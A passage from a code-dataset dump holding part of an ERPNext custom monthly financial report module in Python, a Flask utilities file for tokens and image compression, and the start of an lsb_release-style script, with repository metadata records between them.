7\n or selected_month_in_int == 8\n or selected_month_in_int == 10\n or selected_month_in_int == 12\n ):\n year_end_date += \"31\"\n\n elif (selected_month_in_int == 2):\n if (int(str(fiscal_year.year_end_date)[0:4]) % 4 == 0):\n year_end_date += \"29\"\n else:\n year_end_date += \"28\"\n\n else:\n year_end_date += \"30\"\n\n # global balance_sheet_end_date\n # balance_sheet_end_date = year_end_date \n\n return getdate(year_end_date)\n\n\n## \ndef get_year_start_date(to_fiscal_year, period_end_month):\n from_fiscal_year = str(int(to_fiscal_year))# we want to run this on the same fiscal year, so from_fiscal_year = to_fiscal_year\n fiscal_year = get_fiscal_year_data(from_fiscal_year, to_fiscal_year)\n\n fiscal_starting_month_in_int = int(fiscal_year.year_start_date.strftime(\"%m\")) # convert the fiscal year's starting month into int\n selected_month_in_int = list(calendar.month_abbr).index(period_end_month[0:3]) # convert the selected month into int\n\n if (selected_month_in_int < fiscal_starting_month_in_int):\n build_start_year_and_date = (str(int(from_fiscal_year)-1) + '-' + str(selected_month_in_int) + '-01')\n year_start_date = getdate(build_start_year_and_date)\n else:\n year_start_date = getdate(fiscal_year.year_start_date)\n\n # balance_sheet_year = str(int(fiscal_year.year_start_date.strftime(\"%Y\"))+1)\n # balance_sheet_month = str(fiscal_year.year_start_date.strftime(\"%m\"))\n # balance_sheet_date = str(fiscal_year.year_start_date.strftime(\"%d\"))\n\n # global balance_sheet_start_date\n # balance_sheet_start_date = balance_sheet_year + \"-\" + balance_sheet_month + \"-\" + balance_sheet_date\n\n return year_start_date\n\n\n## ============================================================================================================================================\n## INCOME STATEMENT FUNCTIONS\n## ============================================================================================================================================\n\n\n## \ndef get_cost_center_data(filters, period, center_name):\n filters.cost_center = [center_name]\n\n income = get_income_statement_data(\n period_end_month = filters.period_end_month,\n period_end_year = filters.to_fiscal_year,\n company = filters.company,\n root_type = \"Income\",\n balance_must_be = \"Credit\",\n period_list = period,\n filters = filters,\n accumulated_values = filters.accumulated_values,\n only_current_fiscal_year = True, # default value\n ignore_closing_entries = True,\n ignore_accumulated_values_for_fy = True,\n total = True # default value\n )\n\n expense = get_income_statement_data(\n period_end_month = filters.period_end_month,\n period_end_year = filters.to_fiscal_year,\n company = filters.company,\n root_type = \"Expense\",\n balance_must_be = \"Debit\",\n period_list = period,\n filters = filters,\n accumulated_values = filters.accumulated_values,\n only_current_fiscal_year = True, # default value\n ignore_closing_entries = True,\n ignore_accumulated_values_for_fy = True,\n total = True # default value\n )\n \n dataset_header = [{\"dataset_for\": center_name}]\n data = []\n data.extend(income or [])\n data.extend(expense or [])\n\n return dataset_header, data\n\n\n## overriden from financial_statements.py -- returns the timeframe for which this report is generated\ndef get_income_statement_period(to_fiscal_year, periodicity, period_end_month, company, accumulated_values=False, reset_period_on_fy_change=True, ignore_fiscal_year=False):\n # by default it gets the start month of the fiscal year, which can be different from January\n # but the first column should be the same column as the selected month, which may be from before the current fiscal year\n # to circumvent this, we pick months from the beginning of the calendar year if its before the fiscal year\n\n from_fiscal_year = str(int(to_fiscal_year) - 1)# we want to run this on the same fiscal year, so from_fiscal_year = to_fiscal_year\n fiscal_year = get_fiscal_year_data(from_fiscal_year, to_fiscal_year)\n year_start_date = get_year_start_date(to_fiscal_year, period_end_month)\n year_end_date = get_year_end_date(to_fiscal_year, period_end_month)\n\n global global_fiscal_year\n global balance_sheet_end_date\n global balance_sheet_start_date\n global_fiscal_year = fiscal_year\n balance_sheet_start_date = year_start_date \n balance_sheet_end_date = year_end_date\n\n period_list = []\n start_date = year_start_date\n\n # add get the number of months between year_start_date & year_end_date\n # append that many months to the period_list array\n for i in range(get_months(year_start_date, year_end_date)):\n period = frappe._dict({\"from_date\": start_date})\n to_date = add_months(start_date, 1)\n start_date = to_date\n to_date = add_days(to_date, -1) # subtract one day from to_date, as it may be first day in next fiscal year or month\n\n if (to_date <= year_end_date): \n period.to_date = to_date # the normal case\n else:\n period.to_date = year_end_date # if a fiscal year ends before a 12 month period\n\n period.to_date_fiscal_year = get_fiscal_year(period.to_date, company=company)[0]\n period.from_date_fiscal_year_start_date = get_fiscal_year(period.from_date, company=company)[1]\n\n period_list.append(period)\n\n if period.to_date == year_end_date:\n break\n\n # add key, label, year_start_date and year_end_date fields to each period in the list\n for period in period_list:\n key = period[\"to_date\"].strftime(\"%b_%Y\").lower()\n label = formatdate(period[\"to_date\"], \"MMM YYYY\")\n\n period.update({\n \"key\": key.replace(\" \", \"_\").replace(\"-\", \"_\"),\n \"label\": label,\n \"year_start_date\": year_start_date,\n \"year_end_date\": year_end_date,\n })\n\n return period_list\n\n\n## overriden from financial_statements.py\ndef get_income_statement_data(period_end_month, period_end_year, company, root_type, balance_must_be, period_list, filters, accumulated_values=1, only_current_fiscal_year=True, ignore_closing_entries=False, ignore_accumulated_values_for_fy=False, total=True):\n end_month_and_year = (period_end_month[0:3] + \" \" + period_end_year)\n accounts = get_accounts(company, root_type)\n \n if not accounts:\n return None\n\n accounts, accounts_by_name, parent_children_map = filter_accounts(accounts)\n company_currency = get_appropriate_currency(company, filters)\n gl_entries_by_account = {}\n\n # extracts the root of the trees \"Income\" and \"Expenses\"\n # only two elements in this dict\n # print(\"\\tgetting list of accounts -- income statement [\" + root_type + \"]\")\n accounts_list = frappe.db.sql(\n \"\"\"\n SELECT lft, rgt \n FROM tabAccount\n WHERE root_type=%s AND IFNULL(parent_account, '') = ''\n \"\"\",\n root_type,\n as_dict = True\n )\n\n # for both of the trees, extract the leaves and populate gl_entries_by_account\n for root in accounts_list:\n set_income_statement_entries(company, period_list[0][\"year_start_date\"] if only_current_fiscal_year else None, period_list[-1][\"to_date\"], root.lft, root.rgt, filters, gl_entries_by_account, ignore_closing_entries=ignore_closing_entries)\n\n calculate_values(accounts_by_name, gl_entries_by_account, period_list, accumulated_values, ignore_accumulated_values_for_fy) ## function imported from financial_statements.py\n accumulate_values_into_parents(accounts, accounts_by_name, period_list) ## function imported from financial_statements.py\n out = prepare_income_statement_data(end_month_and_year, accounts, balance_must_be, period_list, company_currency)\n out = filter_out_zero_value_rows(out, parent_children_map)\n\n for data in out:\n if data:\n if data.account: \n if data.account[-5:] == \" - WW\":\n data.account = (data.account)[:-5]\n if data.parent_account:\n if data.parent_account[-5:] == \" - WW\":\n data.parent_account = (data.parent_account)[:-5]\n\n return out\n\n\n## overriden from financial_statements.py -- calculates the dollar values to be put in each cell, one row at a time; called from get_income_statement_data()\ndef prepare_income_statement_data(end_month_and_year, accounts, balance_must_be, period_list, company_currency):\n data = []\n year_start_date = period_list[0][\"year_start_date\"].strftime(\"%Y-%m-%d\")\n year_end_date = period_list[-1][\"year_end_date\"].strftime(\"%Y-%m-%d\")\n\n # variables for current fiscal year calculation\n global global_fiscal_year\n fiscal_year_start_month_in_int = int(global_fiscal_year.year_start_date.strftime(\"%m\"))\n fiscal_year_in_int = int(global_fiscal_year.year_start_date.strftime(\"%Y\"))\n fiscal_year_stamp = ((fiscal_year_in_int + 1) * 100) + fiscal_year_start_month_in_int\n\n # variables for previous fiscal year calculation\n prev_fiscal_year_end_month = list(calendar.month_abbr).index(end_month_and_year[0:3])\n prev_fiscal_year_start = ((fiscal_year_in_int) * 100) + fiscal_year_start_month_in_int\n prev_fiscal_year_end = ((fiscal_year_in_int + 1) * 100) + prev_fiscal_year_end_month\n\n counter = len(accounts)\n current = 0\n\n for account in accounts:\n has_value = False\n total = 0\n prev_year_total = 0\n print_group = frappe.db.sql(\n \"\"\"\n SELECT print_group \n FROM tabAccount \n WHERE name = %s\n \"\"\",\n account.name\n )\n\n row = frappe._dict(\n {\n \"account\": _(account.name),\n \"parent_account\": _(account.parent_account) if account.parent_account else \"\",\n \"indent\": flt(account.indent),\n \"year_start_date\": year_start_date,\n \"year_end_date\": year_end_date,\n \"currency\": company_currency,\n \"include_in_gross\": account.include_in_gross,\n \"account_type\": account.account_type,\n \"is_group\": account.is_group,\n \"opening_balance\": account.get(\"opening_balance\", 0.0) * (1 if balance_must_be == \"Debit\" else -1),\n \"account_name\": (\n \"%s - %s\" % (_(account.account_number), _(account.account_name))\n if account.account_number\n else _(account.account_name)\n ),\n }\n )\n\n for period in period_list:\n if account.get(period.key) and balance_must_be == \"Credit\":\n account[period.key] *= -1 # change sign based on Debit or Credit, since calculation is done using (debit - credit)\n\n row[period.key] = flt(account.get(period.key, 0.0), 3)\n\n # ignore zero values\n if abs(row[period.key]) >= 0.005:\n has_value = True\n\n current_month_in_int = list(calendar.month_abbr).index(period.label[0:3]) # convert month name to month number\n current_year_in_int = int(period.label[4:8]) # period.label contains the date and time\n current_year_stamp = (current_year_in_int * 100) + current_month_in_int # creates a timestamp in the format yyyymm for date comparison\n\n if (current_year_stamp >= fiscal_year_stamp):\n total += flt(row[period.key])\n\n if (prev_fiscal_year_start <= current_year_stamp and current_year_stamp <= prev_fiscal_year_end):\n prev_year_total += flt(row[period.key])\n \n if (period.label == end_month_and_year):\n break\n\n if (row[\"is_group\"] == False): \n row[\"account\"] = print_group[0][0]\n\n if (row[\"account\"] == \"\"):\n row[\"account\"] = row[\"account_name\"]\n\n row[\"has_value\"] = has_value\n row[\"total\"] = total\n row[\"print_group\"] = print_group[0][0]\n row[\"prev_year_total\"] = prev_year_total\n\n data.append(row)\n current += 1\n # if ((current/counter * 100) % 5 < 0.25): print(\"\\tpreparing data \" + str(int(current/counter * 100)) + \"%\")\n\n return data\n\n\n## overriden from financial_statements.py; called from get_income_statement_data()\ndef set_income_statement_entries(company, from_date, to_date, root_lft, root_rgt, filters, gl_entries_by_account, ignore_closing_entries=False):\n # Returns a dict like { \"account\": [gl entries], ... }\n additional_conditions = get_additional_conditions(from_date, ignore_closing_entries, filters)\n\n accounts = frappe.db.sql_list(\n \"\"\"\n SELECT\n name\n FROM \n `tabAccount`\n WHERE \n lft >= %s\n AND rgt <= %s\n AND company = %s\n \"\"\",\n (root_lft, root_rgt, company)\n )\n\n if accounts:\n additional_conditions += \" AND account IN ({})\".format(\n \", \".join(frappe.db.escape(account) for account in accounts)\n )\n\n gl_filters = {\n \"company\": company,\n \"from_date\": from_date,\n \"to_date\": to_date,\n \"finance_book\": cstr(filters.get(\"finance_book\")),\n }\n\n if filters.get(\"include_default_book_entries\"):\n gl_filters[\"company_fb\"] = frappe.db.get_value(\"Company\", company, \"default_finance_book\")\n\n for key, value in filters.items():\n if value:\n gl_filters.update({key: value})\n\n distributed_cost_center_query = \"\"\n\n if filters and filters.get(\"cost_center\"):\n distributed_cost_center_query = (\n \"\"\"\n UNION ALL\n SELECT \n posting_date,\n account,\n debit*(DCC_allocation.percentage_allocation/100) AS debit,\n credit*(DCC_allocation.percentage_allocation/100) AS credit,\n is_opening,\n fiscal_year,\n debit_in_account_currency*(DCC_allocation.percentage_allocation/100) AS debit_in_account_currency,\n credit_in_account_currency*(DCC_allocation.percentage_allocation/100) AS credit_in_account_currency,\n account_currency\n FROM \n `tabGL Entry`,\n (\n SELECT \n parent, \n sum(percentage_allocation) AS percentage_allocation\n FROM \n `tabDistributed Cost Center`\n WHERE \n cost_center IN %(cost_center)s\n AND parent NOT IN %(cost_center)s\n GROUP BY \n parent\n ) AS DCC_allocation\n WHERE \n company=%(company)s\n {additional_conditions}\n AND posting_date <= %(to_date)s\n AND is_cancelled = 0\n AND cost_center = DCC_allocation.parent\n \"\"\".format(\n additional_conditions = additional_conditions.replace(\"AND cost_center IN %(cost_center)s \", \"\")\n )\n )\n\n gl_entries = frappe.db.sql(\n \"\"\"\n SELECT \n posting_date,\n account,\n debit,\n credit,\n is_opening,\n fiscal_year,\n debit_in_account_currency,\n credit_in_account_currency,\n account_currency \n FROM \n `tabGL Entry`\n WHERE \n company=%(company)s\n {additional_conditions}\n AND posting_date <= %(to_date)s\n AND is_cancelled = 0\n {distributed_cost_center_query}\n \"\"\".format(\n additional_conditions=additional_conditions,\n distributed_cost_center_query=distributed_cost_center_query,\n ),\n gl_filters,\n as_dict = True,\n )\n\n if filters and filters.get(\"presentation_currency\"):\n convert_to_presentation_currency(gl_entries, get_currency(filters), filters.get(\"company\"))\n\n for entry in gl_entries:\n gl_entries_by_account.setdefault(entry.account, []).append(entry)\n\n\n## ============================================================================================================================================\n## BALANCE SHEET FUNCTIONS\n## ============================================================================================================================================\n\n\n#\ndef get_balance_sheet(filters):\n columns = [{\"dataset_for\": \"Balance Sheet\"}]\n data = []\n cost_centers_string = (str(filters.cost_center)).replace(\"\\'\", \"\\\"\")\n\n new_filters_string = (\n '{\"company\": \"White-Wood Distributors Ltd\", ' + \n '\"filter_based_on\": \"Date Range\", ' + \n '\"period_start_date\": \"' + str(balance_sheet_start_date) + '\", ' + \n '\"period_end_date\": \"' + str(balance_sheet_end_date) + '\", ' + \n '\"from_fiscal_year\": \"2023\", ' + \n '\"to_fiscal_year\": \"2023\", ' + \n '\"periodicity\": \"Monthly\", ' + \n '\"cost_center\": ' + cost_centers_string + ', ' + \n '\"accumulated_values\": 1, ' + \n '\"include_default_book_entries\": 1}'\n )\n\n new_filters = frappe._dict(json.loads(new_filters_string) or {})\n\n if old_method:\n period_list = get_period_list(new_filters.from_fiscal_year, new_filters.to_fiscal_year, balance_sheet_start_date, balance_sheet_end_date, new_filters.filter_based_on, new_filters.periodicity, company = new_filters.company)\n asset = get_balance_sheet_data(new_filters.company, \"Asset\", \"Debit\", period_list, filters = new_filters, accumulated_values = new_filters.accumulated_values, only_current_fiscal_year = False)\n liability = get_balance_sheet_data(new_filters.company, \"Liability\", \"Credit\", period_list, filters = new_filters, accumulated_values = new_filters.accumulated_values, only_current_fiscal_year = False)\n equity = get_balance_sheet_data(new_filters.company, \"Equity\", \"Credit\", period_list, filters = new_filters, accumulated_values = new_filters.accumulated_values, only_current_fiscal_year = False)\n\n provisional_profit_loss, total_credit = get_provisional_profit_loss(asset, liability, equity, period_list, new_filters.company)\n opening_balance = check_opening_balance(asset, liability, equity)\n\n data.extend(asset or [])\n data.extend(liability or [])\n data.extend(equity or [])\n\n if opening_balance and round(opening_balance[1], 2) != 0:\n unclosed = {\n \"account_name\": \"'\" + _(\"Unclosed Fiscal Years Profit / Loss (Credit)\") + \"'\",\n \"account\": \"'\" + _(\"Unclosed Fiscal Years Profit / Loss (Credit)\") + \"'\",\n \"warn_if_negative\": True,\n }\n for period in period_list:\n unclosed[period.key] = opening_balance\n if provisional_profit_loss:\n provisional_profit_loss[period.key] = provisional_profit_loss[period.key] - opening_balance[1]\n\n unclosed[\"total\"] = opening_balance\n data.append(unclosed)\n\n if provisional_profit_loss:\n data.append(provisional_profit_loss)\n\n if total_credit:\n data.append(total_credit)\n else:\n data = execute(new_filters)[1]\n\n lmao = 0\n for row in data:\n if (not row):\n lmao += 1 \n else:\n # if (\"Total Asset (Debit)\" not in row[\"account_name\"] and\n # \"Total Liability (Credit)\" not in row[\"account_name\"] and\n # \"Provisional Profit / Loss (Credit)\" not in row[\"account_name\"] and\n # \"Total (Credit)\" not in row[\"account_name\"] and \n # \"Total Equity (Credit)\" not in row[\"account_name\"]\n # ):\n\n if (\"account_name\" in row and \"parent_account\" in row):\n print_group = frappe.db.sql(\"\"\"SELECT print_group FROM tabAccount WHERE name = %s\"\"\", row[\"account\"])\n\n if print_group:\n row[\"print_group\"] = print_group[0][0]\n\n if (row[\"account\"]):\n if (row[\"account\"][-5:] == \" - WW\"):\n row[\"account\"] = (row[\"account\"])[:-5]\n\n if (row[\"parent_account\"][-5:] == \" - WW\"):\n row[\"parent_account\"] = (row[\"parent_account\"])[:-5]\n\n if (row[\"is_group\"] == False): \n row[\"account\"] = print_group[0][0]\n\n if (row[\"account\"] and row[\"account\"] == \"\"):\n row[\"account\"] = row[\"account_name\"]\n \n if (row[\"indent\"] == 3):\n row[\"indent\"] = 2\n\n if (row[\"parent_account\"] == \"Accounts Receivable\" or row[\"parent_account\"] == \"Bank\" or row[\"parent_account\"] == \"Inventory\" or row[\"parent_account\"] == \"Other Current Assets\"): \n row[\"parent_account\"] = \"Current Assets\"\n\n if (row[\"account\"]):\n row[\"account\"].replace(\"'\", \"\")\n\n\n return columns, data\n\n\n## overriden from financial_statements.py\ndef get_balance_sheet_data(company, root_type, balance_must_be, period_list, filters, accumulated_values=1, only_current_fiscal_year=True, ignore_closing_entries=False, ignore_accumulated_values_for_fy=False, total=True):\n\n accounts = get_accounts(company, root_type)\n\n if not accounts:\n return None\n\n accounts, accounts_by_name, parent_children_map = filter_accounts(accounts)\n company_currency = get_appropriate_currency(company, filters)\n gl_entries_by_account = {}\n\n # extracts the root of the trees \"Asset\" and \"Liability\"\n # only two elements in this dict\n print(\"\\tgetting list of accounts -- balance sheet [\" + root_type + \"]\")\n \n gl_entries_by_account = {}\n for root in frappe.db.sql(\n \"\"\"select lft, rgt from tabAccount\n where root_type=%s and ifnull(parent_account, '') = ''\"\"\",\n root_type,\n as_dict=1,\n ):\n\n set_gl_entries_by_account(\n company,\n period_list[0][\"year_start_date\"] if only_current_fiscal_year else None,\n period_list[-1][\"to_date\"],\n root.lft,\n root.rgt,\n filters,\n gl_entries_by_account,\n ignore_closing_entries=ignore_closing_entries,\n )\n\n calculate_values(\n accounts_by_name,\n gl_entries_by_account,\n period_list,\n accumulated_values,\n ignore_accumulated_values_for_fy,\n )\n\n accumulate_values_into_parents(accounts, accounts_by_name, period_list)\n out = prepare_balance_sheet_data(accounts, balance_must_be, period_list, company_currency)\n out = filter_out_zero_value_rows(out, parent_children_map)\n\n for data in out:\n if data: \n if data.account[-5:] == \" - WW\":\n data.account = (data.account)[:-5]\n if data.parent_account[-5:] == \" - WW\":\n data.parent_account = (data.parent_account)[:-5]\n\n return out\n\n\n## overriden from financial_statements.py -- calculates the dollar values to be put in each cell, one row at a time; called from get_balance_sheet_data()\ndef prepare_balance_sheet_data(accounts, balance_must_be, period_list, company_currency):\n data = []\n year_start_date = period_list[0][\"year_start_date\"].strftime(\"%Y-%m-%d\")\n year_end_date = period_list[-1][\"year_end_date\"].strftime(\"%Y-%m-%d\")\n\n for account in accounts:\n has_value = False\n total = 0\n print_group = frappe.db.sql(\n \"\"\"\n SELECT print_group \n FROM tabAccount \n WHERE name = %s\n \"\"\",\n account.name\n )\n\n row = frappe._dict(\n {\n \"account\": _(account.name),\n \"parent_account\": _(account.parent_account) if account.parent_account else \"\",\n \"indent\": flt(account.indent),\n \"year_start_date\": year_start_date,\n \"year_end_date\": year_end_date,\n \"currency\": company_currency,\n \"include_in_gross\": account.include_in_gross,\n \"account_type\": account.account_type,\n \"is_group\": account.is_group,\n \"opening_balance\": account.get(\"opening_balance\", 0.0) * (1 if balance_must_be == \"Debit\" else -1),\n \"account_name\": (\n \"%s - %s\" % (_(account.account_number), _(account.account_name))\n if account.account_number\n else _(account.account_name)\n ),\n }\n )\n\n for period in period_list:\n if account.get(period.key) and balance_must_be == \"Credit\":\n account[period.key] *= -1 # change sign based on Debit or Credit, since calculation is done using (debit - credit)\n\n row[period.key] = flt(account.get(period.key, 0.0), 3)\n\n # ignore zero values\n if abs(row[period.key]) >= 0.005:\n has_value = True\n total += flt(row[period.key])\n\n if (row.account[-5:] == \" - WW\"):\n row.account = (row.account)[:-5]\n\n if (row.parent_account[-5:] == \" - WW\"):\n row.parent_account = (row.parent_account)[:-5]\n\n if (row[\"is_group\"] == False): \n row[\"account\"] = print_group[0][0]\n\n if (row[\"account\"] == \"\"):\n row[\"account\"] = row[\"account_name\"]\n \n if (row[\"indent\"] == 3):\n row[\"indent\"] = 2\n\n if (row[\"parent_account\"] == \"Accounts Receivable\" or\n row[\"parent_account\"] == \"Bank\" or\n row[\"parent_account\"] == \"Inventory\" or\n row[\"parent_account\"] == \"Other Current Assets\"\n ): row[\"parent_account\"] = \"Current Assets\"\n\n row[\"account\"].replace(\"'\", \"\")\n row[\"has_value\"] = has_value\n row[\"total\"] = total\n row[\"print_group\"] = print_group[0][0]\n\n data.append(row)\n\n return data\n", "repo_name": "mohsinalimat/monthly_report", "sub_path": "monthly_report/monthly_report/report/monthly_financial_report/custom_monthly_financial_report.py", "file_name": "custom_monthly_financial_report.py", "file_ext": "py", "file_size_in_byte": 33655, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "frappe._dict", "line_number": 25, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "frappe.whitelist", "line_number": 23, "usage_type": "call"}, {"api_name": "frappe.throw", "line_number": 140, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 140, "usage_type": "call"}, {"api_name": "frappe.throw", "line_number": 142, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 142, "usage_type": "call"}, {"api_name": "frappe.throw", "line_number": 144, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 144, "usage_type": "call"}, {"api_name": "calendar.month_abbr", "line_number": 153, "usage_type": "attribute"}, {"api_name": "frappe.utils.getdate", "line_number": 184, "usage_type": "call"}, {"api_name": "calendar.month_abbr", "line_number": 193, "usage_type": "attribute"}, {"api_name": "frappe.utils.getdate", "line_number": 197, "usage_type": "call"}, {"api_name": "frappe.utils.getdate", "line_number": 199, "usage_type": "call"}, {"api_name": "frappe._dict", "line_number": 282, "usage_type": "call"}, {"api_name": "frappe.db.sql", "line_number": 330, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 330, "usage_type": "attribute"}, {"api_name": "calendar.month_abbr", "line_number": 374, "usage_type": "attribute"}, {"api_name": "frappe.db.sql", "line_number": 385, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 385, "usage_type": "attribute"}, {"api_name": "frappe._dict", "line_number": 394, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 396, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 397, "usage_type": "call"}, {"api_name": "frappe.utils.flt", "line_number": 398, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 407, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 409, "usage_type": "call"}, {"api_name": "frappe.utils.flt", "line_number": 418, "usage_type": "call"}, {"api_name": "calendar.month_abbr", "line_number": 424, "usage_type": "attribute"}, {"api_name": "frappe.utils.flt", "line_number": 429, "usage_type": "call"}, {"api_name": "frappe.utils.flt", "line_number": 432, "usage_type": "call"}, {"api_name": "frappe.db.sql_list", "line_number": 460, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 460, "usage_type": "attribute"}, {"api_name": "frappe.db.escape", "line_number": 476, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 476, "usage_type": "attribute"}, {"api_name": "frappe.db.get_value", "line_number": 487, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 487, "usage_type": "attribute"}, {"api_name": "frappe.db.sql", "line_number": 534, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 534, "usage_type": "attribute"}, {"api_name": "frappe._dict", "line_number": 593, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 593, "usage_type": "call"}, {"api_name": "erpnext.accounts.report.balance_sheet.balance_sheet.get_provisional_profit_loss", "line_number": 601, "usage_type": "call"}, {"api_name": "erpnext.accounts.report.balance_sheet.balance_sheet.check_opening_balance", "line_number": 602, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 610, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 611, "usage_type": "call"}, {"api_name": "erpnext.accounts.report.balance_sheet.balance_sheet.execute", "line_number": 628, "usage_type": "call"}, {"api_name": "frappe.db.sql", "line_number": 643, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 643, "usage_type": "attribute"}, {"api_name": "frappe.db.sql", "line_number": 691, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 691, "usage_type": "attribute"}, {"api_name": "frappe.db.sql", "line_number": 740, "usage_type": "call"}, {"api_name": "frappe.db", "line_number": 740, "usage_type": "attribute"}, {"api_name": "frappe._dict", "line_number": 749, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 751, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 752, "usage_type": "call"}, {"api_name": "frappe.utils.flt", "line_number": 753, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 762, "usage_type": "call"}, {"api_name": "frappe._", "line_number": 764, "usage_type": "call"}, {"api_name": "frappe.utils.flt", "line_number": 773, "usage_type": "call"}, {"api_name": "frappe.utils.flt", "line_number": 778, "usage_type": "call"}]} +{"seq_id": "2232678671", "text": "import uuid\nfrom itsdangerous import URLSafeTimedSerializer\nfrom os import stat, remove\n\nfrom flask import current_app, request\nfrom flask_uploads import extension\n\nfrom PIL import Image\n\nfrom extensions import image_set, cache\n\n\ndef generate_token(email, salt=None):\n serializer = URLSafeTimedSerializer(current_app.config.get('SECRET_KEY'))\n return serializer.dumps(email, salt=salt)\n\n\ndef verify_token(token, max_age=(30 * 60), salt=None):\n serializer = URLSafeTimedSerializer(current_app.config.get('SECRET_KEY'))\n try:\n email = serializer.loads(token, max_age=max_age, salt=salt)\n return email\n except:\n return False\n\n\ndef save_image(image, folder):\n filename = f\"{uuid.uuid4()}.{extension(image.filename)}\"\n image_set.save(image, folder=folder, name=filename)\n filename = compress_image(filename=filename, folder=folder)\n return filename\n\n\ndef compress_image(filename, folder):\n file_path = image_set.path(filename=filename, folder=folder)\n image = Image.open(file_path)\n if image.mode != \"RGB\":\n image = image.convert(\"RGB\")\n if max(image.width, image.height) > 1600:\n maxsize = (1600, 1600)\n image.thumbnail(maxsize, Image.ANTIALIAS)\n compressed_filename = f'{uuid.uuid4()}.jpg'\n compressed_file_path = image_set.path(filename=compressed_filename, folder=folder)\n image.save(compressed_file_path, optimize=True, quality=75)\n original_size = stat(file_path).st_size\n compressed_size = stat(compressed_file_path).st_size\n percentage = round((original_size - compressed_size) / original_size * 100)\n print(f\"The file size is reduced by {percentage} %, from {original_size} to {compressed_size}\")\n remove(file_path)\n return compressed_filename\n\n\ndef clear_cache(key_prefix):\n keys = [key for key in cache.cache._cache.keys() if key.startswith(key_prefix)]\n cache.delete_many(*keys)\n", "repo_name": "milovanovmaksim/food_recipe_sharing_platform", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 1900, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "itsdangerous.URLSafeTimedSerializer", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.current_app.config.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 14, "usage_type": "name"}, {"api_name": "itsdangerous.URLSafeTimedSerializer", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.current_app.config.get", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.current_app.config", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 19, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 28, "usage_type": "call"}, {"api_name": "flask_uploads.extension", "line_number": 28, "usage_type": "call"}, {"api_name": "extensions.image_set.save", "line_number": 29, "usage_type": "call"}, {"api_name": "extensions.image_set", "line_number": 29, "usage_type": "name"}, {"api_name": "extensions.image_set.path", "line_number": 35, "usage_type": "call"}, {"api_name": "extensions.image_set", "line_number": 35, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 41, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 41, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 42, "usage_type": "call"}, {"api_name": "extensions.image_set.path", "line_number": 43, "usage_type": "call"}, {"api_name": "extensions.image_set", "line_number": 43, "usage_type": "name"}, {"api_name": "os.stat", "line_number": 45, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 46, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 49, "usage_type": "call"}, {"api_name": "extensions.cache.cache._cache.keys", "line_number": 54, "usage_type": "call"}, {"api_name": "extensions.cache.cache", "line_number": 54, "usage_type": "attribute"}, {"api_name": "extensions.cache", "line_number": 54, "usage_type": "name"}, {"api_name": "extensions.cache.delete_many", "line_number": 55, "usage_type": "call"}, {"api_name": "extensions.cache", "line_number": 55, "usage_type": "name"}]} +{"seq_id": "10269328050", "text": "#!/usr/bin/env python3\n\nimport shlex\nimport argparse\n\nMSG_NA = \"n/a\"\nMSG_NONE = \"(none)\"\nMSG_MAP = {\n \"DISTID\": (\"Distributor ID\", \"{NAME}\", MSG_NA),\n \"DISTDESC\": (\"Description\", \"{PRETTY_NAME}\", MSG_NONE),\n \"DISTREL\": (\"Release\", \"{VERSION_ID}\", MSG_NA),\n \"DISTCODE\": (\"Codename\", \"{VERSION_CODENAME}\", MSG_NA),\n}\n\ndef read_os_release(os_release_file=\"/etc/os-release\"):\n os_release = {}\n with open(os_release_file, \"r\") as f:\n for l in shlex.split(f):\n k, _, v = l.partition(\"=\")\n os_release[k] = v\n return os_release\n\ndef get_lsb_line(os_release, line_id, short=False):\n msg, osrel_val_tmpl, msg_none = MSG_MAP[line_id]\n try:\n osrel_val = osrel_val_tmpl.format(**os_release)\n except KeyError:\n osrel_val = msg_none\n if short:\n return osrel_val\n else:\n return \"{0}:\\t{1}\".format(msg, osrel_val)\n\ndef main():\n lsb_release = argparse.ArgumentParser(description=\"Distribution information.\")\n lsb_release.add_argument(\"-v\", \"--version\", action=\"store_true\")\n lsb_release.add_argument(\"-i\", \"--id\", action=\"append_const\", dest=\"lines\", const=\"DISTID\")\n lsb_release.add_argument(\"-d\", \"--description\", action=\"append_const\", dest=\"lines\", const=\"DISTDESC\")\n lsb_release.add_argument(\"-r\", \"--release\", action=\"append_const\", dest=\"lines\", 